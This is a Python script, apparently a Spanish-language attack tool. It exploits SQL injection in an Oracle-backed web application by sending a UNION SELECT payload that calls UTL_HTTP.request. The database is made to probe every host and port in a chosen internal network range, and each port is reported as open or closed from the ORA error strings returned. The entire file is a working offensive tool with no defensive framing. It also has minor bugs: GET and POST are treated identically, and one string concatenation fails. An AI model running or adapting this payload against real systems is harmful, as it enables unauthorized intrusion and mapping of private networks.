oracle_scaner_red.py

import urllib.request
import urllib.parse
import ipaddress
import sys

if len(sys.argv) < 8:
    print ("Introduce los siguientes parámetros: <network> <netmask> <start port> <end port> <timeout> <url> <method>")
    sys.exit(0)
else:
    network = sys.argv[1]
    netmask = sys.argv[2]
    start_port = int(sys.argv[3])
    end_port   = int(sys.argv[4])
    timeout    = int(sys.argv[5])
    url        = sys.argv[6]
    method     = sys.argv[7]

user_agent = "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))"
headers = {'User-Agent' : user_agent }

# Crear la red
net = ipaddress.ip_network(network + '/' + netmask)

for host in net.hosts():
    for port in range(start_port, end_port + 1):
        query = "' UNION SELECT NULL,UTL_HTTP.request('" + str(host) + ":" + str(port) + "'),NULL,NULL from dual--"
        url_query = url + urllib.parse.quote(query)
        req = urllib.request.Request(url_query,None,headers)
        try:
            if method.lower() == 'get':
                res = urllib.request.urlopen(req,None,timeout)
            elif method.lower() == 'post':
                res = urllib.request.urlopen(req,None,timeout)
            else:
                print("Método no soportado: " + method)
                sys.exit(0)
            response = res.read().decode('utf-8')
            if 'ORA-12541: TNS:no listener' in response or 'TNS:operation timed out' in response:
                print ("Host: " + str(host) + " Port: " + str(port) + " CLOSED")
            elif 'ORA-29263: HTTP protocol error' in response:
                print ("Host: " + str(host) + " Port: " + str(port) + " OPEN")
            elif '!DOCTYPE HTML' in response or '!DOCTYPE html' in response:
                print ("Host: " + host + " Port: " + str(port) + " OPEN-HTTP")
            elif 'destination host unreachable' in response:
                print ("Host: " + str(host) + " UNREACHABLE")
            else:
                print ("Host: " + str(host) + " Port: " + str(port) + " UNKNOWN RESPONSE")
        except Exception as e:
            print ("Host: " + str(host) + " Port: " + str(port) + " TIMEOUT/ERROR - possibly open")
            print ("Exception: ", e)